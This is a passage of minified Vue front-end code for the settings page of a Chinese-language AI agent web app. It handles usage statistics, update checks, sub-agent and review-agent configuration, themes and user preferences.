Number.isNaN(n.getTime())?"时间未知":n.toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})}),E=m(null),pe=m(""),U=m(!1),ge=m(""),ve=m(null),N=m(null);if(typeof window<"u"){const n=new URLSearchParams(window.location.search),s=n.get("app_vc")||"",t=n.get("app_vn")||"",u=window==null?void 0:window.AndroidThemeBridge,M=u&&typeof u.getAppVersionCode=="function"?String(u.getAppVersionCode()||""):"",I=u&&typeof u.getAppVersionName=="function"?String(u.getAppVersionName()||""):"",T=M||s,ie=I||t;E.value=/^\d+$/.test(T)?Number(T):null,pe.value=ie||""}const Ke=()=>{if(typeof window>"u")return;const n=window==null?void 0:window.AndroidThemeBridge;if(n)try{const s=typeof n.getAppVersionCode=="function"?String(n.getAppVersionCode()||""):"",t=typeof n.getAppVersionName=="function"?String(n.getAppVersionName()||""):"";s&&/^\d+$/.test(s)&&(E.value=Number(s)),t&&(pe.value=t)}catch{}},Gs=k(()=>pe.value||"未知"),me=k(()=>N.value?typeof N.value.hasUpdate=="boolean"?N.value.hasUpdate:E.value==null?!1:Number(N.value.latestVersionCode||0)>E.value:!1),Js=k(()=>{var n;return((n=N.value)==null?void 0:n.apkUrl)||""}),Ws=k(()=>N.value?me.value?"发现新版本":"已是最新":"未检查"),Qs=k(()=>{if(!ve.value)return"尚未检查更新";const n=new Date(ve.value);return Number.isNaN(n.getTime())?"刚刚检查过":`最近检查:${n.toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})}`}),Xe=async()=>{if(!V.value){V.value=!0,te.value="";try{const n=await fetch("/api/conversations/statistics"),s=await n.json();if(!n.ok||!s.success)throw new Error(s.error||s.message||"获取用量统计失败");const t=s.data||{},u=t.token_statistics||{};j.value={total_input_tokens:Number(u.total_input_tokens||0),total_output_tokens:Number(u.total_output_tokens||0),total_conversations:Number(t.total_conversations||0),total_user_messages:Number(t.total_user_messages||0),total_tools:Number(t.total_tools||0)},ce.value=new Date().toISOString()}catch(n){te.value=(n==null?void 0:n.message)||"获取用量统计失败"}finally{V.value=!1}}},Ye=async()=>{if(!U.value){Ke(),U.value=!0,ge.value="";try{const n=new URLSearchParams;E.value!=null&&n.set("currentVersionCode",String(E.value));const s=n.toString()?`?${n.toString()}`:"",t=await fetch(`/api/app/version${s}`),u=await t.json();if(!t.ok||!(u!=null&&u.success))throw new Error((u==null?void 0:u.error)||"检查更新失败");const M=(u==null?void 0:u.data)||{};N.value={latestVersionCode:Number(M.latestVersionCode||0),latestVersionName:String(M.latestVersionName||""),apkUrl:String(M.apkUrl||""),fileSizeBytes:Number(M.fileSizeBytes||0),changelog:String(M.changelog||""),publishedAt:M.publishedAt||null,hasUpdate:typeof M.hasUpdate=="boolean"?M.hasUpdate:null},ve.value=new Date().toISOString()}catch(n){ge.value=(n==null?void 0:n.message)||"检查更新失败"}finally{U.value=!1}}},Ks=()=>{const n=Js.value;if(!n){ge.value="未拿到下载地址";return}window.location.href=n};ps(async()=>{Ke();try{const n=await fetch("/api/session-status",{credentials:"same-origin"});if(!n.ok)return;const s=await n.json(),t=(s==null?void 0:s.session)||{};re.value=String(t.role||""),Oe.value=!!t.host_mode}catch{re.value=""}}),gs(()=>[$.value,Ae.value],([n,s])=>{s&&n==="data"&&Xe(),s&&n==="sub-agents"&&(_e(),Ys(),Ze()),s&&n==="review-agents"&&Ze(),s&&n==="general"&&Ve.value&&!N.value&&!U.value&&Ye()});const ke=m([]),ye=m(!1),ne=m(15e4),z=m(null),H=m(!1),be=m([]),we=m(!1),q=m(null),le=m(!1),y=m({role_id:"",name:"",description:"",body_prompt:"",thinking_mode:"fast",model_key:""}),_e=async()=>{ye.value=!0;try{const s=await(await fetch("/api/multiagent/roles",{credentials:"same-origin"})).json();s.success&&(ke.value=s.roles||[])}catch{}finally{ye.value=!1}},Ze=async()=>{try{const s=await(await fetch("/api/multiagent/models",{credentials:"same-origin"})).json();s.success&&(be.value=s.models||[])}catch{}},Xs=[{key:"auto_approval",name:"自动审批智能体",desc:"自动审批模式下判断工具调用是否越权/危险"},{key:"goal_review",name:"目标审核智能体",desc:"目标模式下判断长期目标是否真正达成"},{key:"workflow_review",name:"工作流审核智能体",desc:"工作流审核节点判断阶段产出是否达标"}],P=n=>{const s=o.value.review_agents;return(s==null?void 0:s[n])||{model:"",thinking:!1,timeout_seconds:60,max_rounds:3,max_command_timeout:60}},W=(n,s)=>{const t={...o.value.review_agents||{}};t[n]={...P(n),...s},i.updateField({key:"review_agents",value:t})},he=(n,s,t,u,M)=>{const I=parseInt(t,10);Number.isFinite(I)&&W(n,{[s]:Math.max(u,Math.min(I,M))})},Ys=async()=>{try{const s=await(await fetch("/api/multiagent/settings",{credentials:"same-origin"})).json();s.success&&s.settings&&(ne.value=s.settings.sub_agent_compress_threshold_tokens||15e4,z.value=s.settings.sub_agent_max_turns??null)}catch{}},es=async()=>{H.value=!0;try{await fetch("/api/multiagent/settings",{method:"PUT",headers:{"Content-Type":"application/json"},credentials:"same-origin",body:JSON.stringify({settings:{sub_agent_compress_threshold_tokens:ne.value,sub_agent_max_turns:z.value===null||z.value===""?null:Number(z.value)}})})}finally{H.value=!1}},ss=n=>{n?(q.value=n,y.value={role_id:n.role_id||"",name:n.name||"",description:n.description||"",body_prompt:n.body_prompt||"",thinking_mode:n.thinking_mode||"fast",model_key:n.model_key||""}):(q.value=null,y.value={role_id:"",name:"",description:"",body_prompt:"",thinking_mode:"fast",model_key:""}),b(),we.value=!0},oe=()=>{we.value=!1,q.value=null,b()},fe=m(!1),Zs=n=>{fe.value=n.target===n.currentTarget&&n.button===0},et=n=>{const s=fe.value&&n.target===n.currentTarget;fe.value=!1,s&&oe()},st=async()=>{le.value=!0;try{const n=!!q.value,s=n?`/api/multiagent/roles/${y.value.role_id}`:"/api/multiagent/roles";(await(await fetch(s,{method:n?"PUT":"POST",headers:{"Content-Type":"application/json"},credentials:"same-origin",body:JSON.stringify({...y.value,model_key:y.value.model_key||null})})).json()).success&&(oe(),await _e())}finally{le.value=!1}},tt=async n=>{if(confirm(`确认删除角色「${n.name}」?`))try{(await(await fetch(`/api/multiagent/roles/${n.role_id}`,{method:"DELETE",credentials:"same-origin"})).json()).success&&await _e()}catch{}},nt=n=>{$.value=n,b()},lt=()=>{fetch("/api/tutorial-status",{method:"POST",headers:{"Content-Type":"application/json"},credentials:"same-origin",body:JSON.stringify({tutorial_completed:!0})}).catch(()=>{}),Te.markCompleted(),i.closeDrawer(),window.setTimeout(()=>{Te.startTutorial()},320)},ts=n=>n===null?!o.value.default_run_mode:o.value.default_run_mode===n,ot=n=>{ls(n,o.value.default_model)||i.setDefaultRunMode(n)},it=n=>{if(Ge.disabledModelSet.has(n)){Pe.pushToast({title:"模型被禁用",message:"已被管理员禁用,无法选择",type:"warning"});return}ls(o.value.default_run_mode,n)||i.setDefaultModel(n)},at=n=>{i.setDefaultPermissionMode(n)},dt=n=>{i.setCommunicationStyle(n)},rt=n=>{i.setConversationContinuity(n)},ut=n=>{it(n),b()},ct=n=>{ot(n),b()},pt=n=>{at(n),b()},gt=n=>{i.setDefaultWorkMode(n),b()},ns=n=>{i.setVersioningBackupMode(n),b()},Ce=n=>{dt(n),b()},xe=n=>{rt(n),b()},vt=n=>{i.setImageCompression(n),b()},mt=n=>{xt(n),b()},ls=(n,s)=>{const t=(ue.value||[]).find(M=>M.value===s),u=[];return t!=null&&t.thinkingOnly&&n&&n!=="thinking"&&u.push(`${t.label} 仅支持思考模式,已保持原设置。`),t!=null&&t.fastOnly&&n&&n!=="fast"&&u.push(`${t.label} 仅支持快速模式,已保持原设置。`),u.length?(Pe.pushToast({title:"模型/思考模式不兼容",message:u.join(" "),type:"warning",duration:6e3}),!0):!1},kt=n=>{const s=n.target;s&&i.updateField({key:"recent_conversations_prompt_limit",value:s.value})},yt=n=>{const s=n.target;if(!s||!s.value){i.setRecentConversationsPromptLimit(null);return}const t=Number(s.value);i.setRecentConversationsPromptLimit(Number.isNaN(t)?null:t)},bt=()=>{i.setRecentConversationsPromptLimit(null)},wt=n=>{const s=n.target;s&&i.updateField({key:"project_memory_inject_limit",value:s.value})},_t=n=>{const s=n.target;if(!s||!s.value){i.setProjectMemoryInjectLimit(null);return}const t=Number(s.value);i.setProjectMemoryInjectLimit(Number.isNaN(t)?null:t)},ht=()=>{i.restoreProjectMemoryInjectLimit()},G=(n,s)=>{const t=s.target;if(!t||!t.value){i.updateField({key:n,value:null});return}const u=Number(t.value);if(!Number.isFinite(u)){i.updateField({key:n,value:null});return}i.updateField({key:n,value:Math.round(u)})},ft=()=>{i.updateField({key:"shallow_compress_trigger_tokens",value:null}),i.updateField({key:"shallow_compress_keep_recent_tools",value:null}),i.updateField({key:"shallow_compress_max_replace_per_round",value:null}),i.updateField({key:"shallow_compress_trigger_tool_calls_interval",value:null}),i.updateField({key:"deep_compress_trigger_tokens",value:null})},Ct=n=>{i.toggleDefaultToolCategory(n)},os=[{id:"traditional",label:"传统列表",desc:"按时间顺序垂直排列,经典样式",value:"traditional"},{id:"stacked",label:"堆叠动画",desc:'超过 6 条自动收纳为"更多",动态展示',value:"stacked",badge:"推荐"},{id:"minimal",label:"极简模式",desc:"摘要行 + 无缝展开,流式输出效果",value:"minimal",badge:"新"}],xt=n=>{i.setBlockDisplayMode(n)},is=n=>{const s=n.target;i.updateField({key:"stacked_hide_borders",value:s.checked})},as=n=>{const s=n.target;i.updateField({key:"minimal_expand_height_limited",value:s.checked})},ds=[{id:"full",label:"完整信息",desc:"审核、子智能体等系统消息显示完整原始内容",value:"full"},{id:"brief",label:"简略信息",desc:"用一行横线概要替代系统消息",value:"brief"}],Mt=n=>{i.setCompactMessageDisplay(n),b()},St=()=>{window.open("/admin/monitor","_blank","noopener"),i.closeDrawer()},$t=()=>{window.open("/admin/custom-tools","_blank","noopener"),i.closeDrawer()},Ft=()=>{window.open("/admin/api","_blank","noopener"),i.closeDrawer()},Bt=()=>{window.open("/admin/policy","_blank","noopener"),i.closeDrawer()},{setTheme:rs,loadTheme:Pt}=Gt(),us=[{id:"classic",label:"经典",desc:"米色质感,柔和高对比",swatches:["#eeece2","#f7f3ea","#da7756"]},{id:"light",label:"明亮",desc:"纯白底色 + 优雅灰,简洁清爽",swatches:["#ffffff","#f7f7f8","#6b7280"]},{id:"dark",label:"夜间",desc:"深灰 + 黑,低亮度并保持彩色点缀",swatches:["#1a1a1a","#2a2a2a","#3a3a3a"]}],f=m(Pt()),Tt=k(()=>{var n;return((n=us.find(s=>s.id===f.value))==null?void 0:n.label)||"经典"});gs(()=>i.form.theme,n=>{n&&n!==f.value&&(f.value=n,rs(n))},{immediate:!0});const At=n=>{Dt(n),b()},Dt=async n=>{f.value=n,rs(n),i.updateField({key:"theme",value:n});try{const s=await fetch("/api/personalization",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({theme:n})}),t=await s.json();(!s.ok||!t.success)&&console.warn("保存主题到后端失败:",t.error)}catch(s){console.warn("保存主题到后端失败:",s)}};return(n,s)=>(d(),Rt(X,{name:"personal-page-fade",appear:""},{default:K(()=>[l(Ae)?(d(),r("div",{key:0,class:"personal-page-overlay",onClick:b,onMousedown:s[102]||(s[102]=t=>l(i).handleOverlayPressStart(t)),onMouseup:s[103]||(s[103]=t=>l(i).handleOverlayPressEnd(t)),onMouseleave:s[104]||(s[104]=h((...t)=>l(i).handleOverlayPressCancel&&l(i).handleOverlayPressCancel(...t),["self"])),onTouchstart:s[105]||(s[105]=h(t=>l(i).handleOverlayPressStart(t),["self","prevent"])),onTouchend:s[106]||(s[106]=t=>l(i).handleOverlayPressEnd(t)),onTouchcancel:s[107]||(s[107]=h((...t)=>l(i).handleOverlayPressCancel&&l(i).handleOverlayPressCancel(...t),["self"]))},[e("div",Qt,[e("button",{type:"button",class:"settings-close-button","data-tutorial":"personal-close","aria-label":"关闭个人空间",onClick:s[0]||(s[0]=t=>l(i).closeDrawer())},[...s[108]||(s[108]=[e("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor","stroke-linecap":"round"},[e("path",{d:"M6 6l12 12M18 6 6 18"})],-1)])]),l(ks)?(d(),r("div",ba,"正在加载个性化配置...")):(d(),r("div",Kt,[e("form",Xt,[e("div",Yt,[e("nav",Zt,[(d(!0),r(w,null,F(Ee.value,t=>(d(),r("button",{key:t.id,type:"button",class:c(["settings-redesign-tab",{active:$.value===t.id}]),"data-tutorial":`personal-tab-${t.id}`,"aria-pressed":$.value===t.id,onClick:h(u=>nt(t.id),["prevent"])},[t.id==="context"?(d(),r("span",sn,[...s[109]||(s[109]=[e("svg",{viewBox:"0 0 28 28",fill:"none",xmlns:"http://www.w3.org/2000/svg"},[e("path",{d:"M5 6.5c0-1.38 1.12-2.5 2.5-2.5h13c1.38 0 2.5 1.12 2.5 2.5v8.5c0 1.38-1.12 2.5-2.5 2.5h-5.6l-3.4 3.2.6-3.2H7.5c-1.38 0-2.5-1.12-2.5-2.5V6.5z",stroke:"currentColor","stroke-width":"1.7","stroke-linejoin":"round"}),e("path",{d:"M9 9.5h10",stroke:"currentColor","stroke-width":"1.7","stroke-linecap":"round"}),e("path",{d:"M9 13h6",stroke:"currentColor","stroke-width":"1.7","stroke-linecap":"round"})],-1)])])):(d(),r("span",{key:1,class:"icon settings-tab-icon",style:S(Ts(t.icon)),"aria-hidden":"true"},null,4)),e("span",null,a(t.label),1)],10,en))),128))]),e("section",tn,[e("header",nn,[e("h2",null,a($s.value),1)]),s[248]||(s[248]=e("div",{class:"settings-redesign-title-line","aria-hidden":"true"},null,-1)),e("div",ln,[p(X,{name:"personal-page-vertical",mode:"out-in"},{default:K(()=>[$.value==="general"?(d(),r("section",on,[e("label",an,[s[110]||(s[110]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"自动生成对话标题"),e("span",{class:"settings-row-desc"},"默认开启;关闭后标题将沿用首条消息")],-1)),e("input",{type:"checkbox",checked:l(o).auto_generate_title,onChange:s[1]||(s[1]=t=>l(i).updateField({key:"auto_generate_title",value:t.target.checked}))},null,40,dn),p(v,{checked:l(o).auto_generate_title},null,8,["checked"])]),e("div",{class:"settings-action-row"},[s[111]||(s[111]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"新手教程"),e("span",{class:"settings-row-desc"},"通过高亮与说明窗了解主要功能入口和常用设置")],-1)),e("button",{type:"button",class:"settings-secondary-button",onClick:lt}," 开始教程 ")]),Ve.value?(d(),r("div",rn,[e("span",un,[s[112]||(s[112]=e("span",{class:"settings-row-title"},"软件更新",-1)),e("span",cn,"当前版本:"+a(Gs.value)+" · "+a(Qs.value),1)]),e("div",pn,[e("span",{class:c(["settings-mini-status",{warning:me.value}])},a(Ws.value),3),e("button",{type:"button",class:"settings-secondary-button",disabled:U.value,onClick:Ye},a(U.value?"检查中...":"检查更新"),9,gn),me.value?(d(),r("button",{key:0,type:"button",class:"settings-primary-button",onClick:Ks}," 下载 ")):C("",!0)])])):C("",!0),e("div",vn,[s[113]||(s[113]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"退出登录"),e("span",{class:"settings-row-desc"},"结束当前账号会话")],-1)),e("button",{type:"button",class:"settings-secondary-button danger",onClick:s[2]||(s[2]=t=>l(i).logout())}," 退出登录 ")])])):$.value==="preferences"?(d(),r("section",mn,[e("label",kn,[s[114]||(s[114]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"启用个性化提示"),e("span",{class:"settings-row-desc"},"开启后才会注入您的偏好")],-1)),e("input",{type:"checkbox",checked:l(o).enabled,disabled:l(bs),onChange:s[3]||(s[3]=t=>l(i).toggleEnabled())},null,40,yn),p(v,{checked:l(o).enabled},null,8,["checked"])]),e("label",bn,[s[115]||(s[115]=e("span",{class:"settings-row-title"},"AI 智能体自称",-1)),e("input",{type:"text",value:l(o).self_identify,maxlength:"20",placeholder:"如:小秘、助理小A",onInput:s[4]||(s[4]=t=>l(i).updateField({key:"self_identify",value:t.target.value})),onFocus:s[5]||(s[5]=t=>l(i).clearFeedback())},null,40,wn)]),e("label",_n,[s[116]||(s[116]=e("span",{class:"settings-row-title"},"用户称呼",-1)),e("input",{type:"text",value:l(o).user_name,maxlength:"20",placeholder:"如:Jojo、老师",onInput:s[6]||(s[6]=t=>l(i).updateField({key:"user_name",value:t.target.value})),onFocus:s[7]||(s[7]=t=>l(i).clearFeedback())},null,40,hn)]),e("label",fn,[s[117]||(s[117]=e("span",{class:"settings-row-title"},"职业",-1)),e("input",{type:"text",value:l(o).profession,maxlength:"20",placeholder:"如:产品经理、设计师",onInput:s[8]||(s[8]=t=>l(i).updateField({key:"profession",value:t.target.value})),onFocus:s[9]||(s[9]=t=>l(i).clearFeedback())},null,40,Cn)]),e("div",xn,[s[118]||(s[118]=e("span",{class:"settings-row-title"},"交流语气",-1)),e("div",Mn,[e("input",{type:"text",value:l(o).tone,maxlength:"20",placeholder:"请选择或输入语气",onInput:s[10]||(s[10]=t=>l(i).updateField({key:"tone",value:t.target.value})),onFocus:s[11]||(s[11]=t=>l(i).clearFeedback())},null,40,Sn),e("div",$n,[(d(!0),r(w,null,F(l(ys),t=>(d(),r("button",{key:t,type:"button",onClick:h(u=>l(i).applyTonePreset(t),["prevent"])},a(t),9,Fn))),128))])])]),e("div",Bn,[s[119]||(s[119]=e("div",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"回答时必须考虑的信息"),e("span",{class:"settings-row-desc"},"每次回答前都会参考这些背景信息")],-1)),e("textarea",{value:l(o).considerations,rows:"6",maxlength:"2000",placeholder:"例如:用户家有一只泰迪犬,棕色,公狗,2014年开始养的...",onInput:s[12]||(s[12]=t=>l(i).updateConsiderations(t.target.value)),onFocus:s[13]||(s[13]=t=>l(i).clearFeedback())},null,40,Pn)]),O.value==="stacked"?(d(),r("label",Tn,[s[120]||(s[120]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"隐藏块间边线"),e("span",{class:"settings-row-desc"},"去掉堆叠块之间的分割线,更简洁")],-1)),e("input",{type:"checkbox",checked:ee.value,onChange:s[14]||(s[14]=t=>is(t))},null,40,An),p(v,{checked:ee.value},null,8,["checked"])])):C("",!0),O.value==="minimal"?(d(),r("label",Dn,[s[121]||(s[121]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"限制展开高度"),e("span",{class:"settings-row-desc"},"极简模式展开摘要行时限制最大高度,超出可在内部滚动")],-1)),e("input",{type:"checkbox",checked:se.value,onChange:s[15]||(s[15]=t=>as(t))},null,40,Nn),p(v,{checked:se.value},null,8,["checked"])])):C("",!0),e("div",In,[s[126]||(s[126]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"智能体交流风格"),e("span",{class:"settings-row-desc"},"智能体和您交流时使用何种形式")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="communication"}]),onClick:s[20]||(s[20]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[16]||(s[16]=t=>B("communication"))},[_(a(Es.value)+" ",1),s[122]||(s[122]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[e("button",{type:"button",class:c(["settings-menu-option",{selected:l(o).communication_style==="default"}]),onClick:s[17]||(s[17]=t=>Ce("default"))},[...s[123]||(s[123]=[e("strong",null,"默认",-1),e("span",null,"标准 AI 风格",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2),e("button",{type:"button",class:c(["settings-menu-option",{selected:l(o).communication_style==="human_like"}]),onClick:s[18]||(s[18]=t=>Ce("human_like"))},[...s[124]||(s[124]=[e("strong",null,"拟人",-1),e("span",null,"像聊天一样模仿人类语言风格",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2),e("button",{type:"button",class:c(["settings-menu-option",{selected:l(o).communication_style==="auto"}]),onClick:s[19]||(s[19]=t=>Ce("auto"))},[...s[125]||(s[125]=[e("strong",null,"自动",-1),e("span",null,"聊天时自然,复杂问题正常结构化回答",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2)],6)],2)]),e("div",Ln,[s[131]||(s[131]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"对话连续性"),e("span",{class:"settings-row-desc"},"控制智能体延续历史对话和记忆的程度")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="conversation-continuity"}]),onClick:s[25]||(s[25]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[21]||(s[21]=t=>B("conversation-continuity"))},[_(a(Us.value)+" ",1),s[127]||(s[127]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[e("button",{type:"button",class:c(["settings-menu-option",{selected:l(o).conversation_continuity==="high"}]),onClick:s[22]||(s[22]=t=>xe("high"))},[...s[128]||(s[128]=[e("strong",null,"高",-1),e("span",null,"更积极延续历史、记忆与项目背景",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2),e("button",{type:"button",class:c(["settings-menu-option",{selected:l(o).conversation_continuity==="medium"}]),onClick:s[23]||(s[23]=t=>xe("medium"))},[...s[129]||(s[129]=[e("strong",null,"中",-1),e("span",null,"当前对话优先,必要时参考历史",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2),e("button",{type:"button",class:c(["settings-menu-option",{selected:l(o).conversation_continuity==="low"}]),onClick:s[24]||(s[24]=t=>xe("low"))},[...s[130]||(s[130]=[e("strong",null,"低",-1),e("span",null,"当前对话尽量独立,少主动翻历史",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2)],6)],2)])])):$.value==="model"?(d(),r("section",Rn,[e("div",On,[s[134]||(s[134]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"默认模型"),e("span",{class:"settings-row-desc"},"为新对话/登录后首次请求选择首选模型")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="model"}]),onClick:s[27]||(s[27]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[26]||(s[26]=t=>B("model"))},[_(a(Ds.value)+" ",1),s[132]||(s[132]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(!0),r(w,null,F(ue.value,t=>(d(),r("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:l(o).default_model===t.value,disabled:t.disabled}]),disabled:t.disabled,onClick:u=>ut(t.value)},[e("strong",null,a(t.label),1),e("span",null,a(t.disabled?"已被管理员禁用":t.desc),1),s[133]||(s[133]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,jn))),128))],6)],2)]),e("div",Vn,[s[137]||(s[137]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"默认运行模式"),e("span",{class:"settings-row-desc"},"登录或新建任务时的初始运行模式")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="run-mode"}]),onClick:s[29]||(s[29]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[28]||(s[28]=t=>B("run-mode"))},[_(a(Ns.value)+" ",1),s[135]||(s[135]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(),r(w,null,F(Ue,t=>e("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:ts(t.value)}]),onClick:u=>ct(t.value)},[e("strong",null,a(t.label),1),e("span",null,a(t.desc),1),s[136]||(s[136]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,En)),64))],6)],2)]),e("div",Un,[s[140]||(s[140]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"默认推理强度"),e("span",{class:"settings-row-desc"},"思考模式下请求模型时附带的推理强度参数")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="reasoning-effort"}]),onClick:s[31]||(s[31]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[30]||(s[30]=t=>B("reasoning-effort"))},[_(a(Is.value)+" ",1),s[138]||(s[138]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(),r(w,null,F(ze,t=>e("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:We(t.value)}]),onClick:u=>Ls(t.value)},[e("strong",null,a(t.label),1),e("span",null,a(t.desc),1),s[139]||(s[139]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,zn)),64))],6)],2)])])):$.value==="appearance"?(d(),r("section",Hn,[e("div",qn,[s[143]||(s[143]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"主题切换"),e("span",{class:"settings-row-desc"},"在经典、明亮和夜间之间切换")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="theme"}]),onClick:s[33]||(s[33]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[32]||(s[32]=t=>B("theme"))},[_(a(Tt.value)+" ",1),s[141]||(s[141]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(),r(w,null,F(us,t=>e("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:f.value===t.id}]),onClick:u=>At(t.id)},[e("strong",null,a(t.label),1),e("span",null,a(t.desc),1),s[142]||(s[142]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,Gn)),64))],6)],2)]),e("label",Jn,[s[144]||(s[144]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"按项目分组对话"),e("span",{class:"settings-row-desc"},"侧边栏对话记录按工作区/项目折叠展示")],-1)),e("input",{type:"checkbox",checked:l(o).group_sidebar_by_workspace,onChange:s[34]||(s[34]=t=>l(i).updateField({key:"group_sidebar_by_workspace",value:t.target.checked}))},null,40,Wn),p(v,{checked:l(o).group_sidebar_by_workspace},null,8,["checked"])]),e("label",Qn,[s[145]||(s[145]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"新建对话跳转空白页"),e("span",{class:"settings-row-desc"},"开启后点击「新建对话」跳转新对话页,发送首条消息时才创建;关闭则立即创建空对话")],-1)),e("input",{type:"checkbox",checked:l(o).new_chat_button_behavior==="route",onChange:s[35]||(s[35]=t=>l(i).updateField({key:"new_chat_button_behavior",value:t.target.checked?"route":"blank"}))},null,40,Kn),p(v,{checked:l(o).new_chat_button_behavior==="route"},null,8,["checked"])]),e("label",Xn,[s[146]||(s[146]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"使用自定义称呼"),e("span",{class:"settings-row-desc"},"对话区域使用个性化设置中的自称和称呼")],-1)),e("input",{type:"checkbox",checked:l(o).use_custom_names,onChange:s[36]||(s[36]=t=>l(i).updateField({key:"use_custom_names",value:t.target.checked}))},null,40,Yn),p(v,{checked:l(o).use_custom_names},null,8,["checked"])]),e("label",Zn,[s[147]||(s[147]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"增强工具显示"),e("span",{class:"settings-row-desc"},"工具块显示格式化内容,关闭则显示原始 JSON")],-1)),e("input",{type:"checkbox",checked:l(o).enhanced_tool_display,onChange:s[37]||(s[37]=t=>l(i).updateField({key:"enhanced_tool_display",value:t.target.checked}))},null,40,el),p(v,{checked:l(o).enhanced_tool_display},null,8,["checked"])]),e("label",sl,[s[148]||(s[148]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"显示助手状态形象"),e("span",{class:"settings-row-desc"},"在欢迎页和对话末尾显示空闲、思考、工具调用等状态动画")],-1)),e("input",{type:"checkbox",checked:l(o).show_status_avatar,onChange:s[38]||(s[38]=t=>l(i).updateField({key:"show_status_avatar",value:t.target.checked}))},null,40,tl),p(v,{checked:l(o).show_status_avatar},null,8,["checked"])]),e("label",nl,[s[149]||(s[149]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"显示 Git 状态栏"),e("span",{class:"settings-row-desc"},"工作区存在 Git 